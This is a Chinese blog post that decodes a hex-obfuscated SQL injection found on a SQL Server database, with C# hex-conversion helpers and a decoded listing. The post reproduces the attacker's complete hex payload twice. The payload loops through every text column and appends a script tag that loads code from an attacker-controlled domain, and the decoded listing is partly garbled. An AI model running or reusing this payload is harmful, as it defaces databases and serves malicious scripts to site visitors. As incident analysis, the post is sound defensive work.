SQL Hex Injection 十六进制注入解决方案

今天朋友遇到一个问题，他的sql server 数据库被执行了一条语句
declare @s varchar(8000) set @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 exec(@s)--
从0x可以看出这是一段十六进制编码的sql语句
于是想到将其解码：
对于十六进制字符串编码和解码的c# 方法如下：

复制代码

代码如下:

///
/// 从字符串转换到16进制表示的字符串
///
///
/// 编码,如"utf-8","gb2312"
/// 是否每字符用逗号分隔
///
public static string tohex(string s, string charset, bool fenge)
{
if ((s.length % 2) != 0)
{
s += " ";//空格
//throw new argumentexception("s is not valid chinese string!");
}
system.text.encoding chs = system.text.encoding.getencoding(charset);
byte[] bytes = chs.getbytes(s);
string str = "";
for (int i = 0; i < bytes.length; i++)
{
str += string.format("{0:x}", bytes[i]);
if (fenge && (i != bytes.length - 1))
{
str += string.format("{0}", ",");
}
}
return str.tolower();
}</p> <p> ///
/// 从16进制转换成utf编码的字符串
///
///
/// 编码,如"utf-8","gb2312"
///
public static string unhex(string hex, string charset)
{
if (hex == null)
throw new argumentnullexception("hex");
hex = hex.replace(",", "");
hex = hex.replace("\n", "");
hex = hex.replace("\\", "");
hex = hex.replace(" ", "");
if (hex.length % 2 != 0)
{
hex += "20";//空格
throw new argumentexception("hex is not a valid number!", "hex");
}
// 需要将 hex 转换成 byte 数组。
byte[] bytes = new byte[hex.length / 2];
for (int i = 0; i < bytes.length; i++)
{
try
{
// 每两个字符是一个 byte。
bytes[i] = byte.parse(hex.substring(i * 2, 2),
system.globalization.numberstyles.hexnumber);
}
catch
{
// rethrow an exception with custom message.
throw new argumentexception("hex is not a valid hex number!", "hex");
}
}
system.text.encoding chs = system.text.encoding.getencoding(charset);</p> <p> return chs.getstring(bytes);
}

于是对这段代码进行解码：

复制代码

代码如下:

private static void testhexstringdecode()
{
string oldsql = "6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52";
console.write(system.web.httputility.urldecode( unhex(oldsql, "utf-8").tolower()));
}

这样它的原型就现出来了

复制代码

代码如下:

declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a
.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch
next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['
@t '] set [' @c ']=rtrim(convert(varchar,[' @c '])) ''"> ose table_cursor deallocate table_cursor

进行注入的人的网址就是a.ppmmoo.cn

大家平时应该多注意这种注入， 可以通过控制对数据库的权限来避免上面这段代码的注入，据朋友介绍此人是在光纤的电脑上注入的，估计用肉鸡，或者服务器~~~
另外 http://home2.paulschou.net/tools/xlate/ 这个网址可以对hex编码的字符串进行解码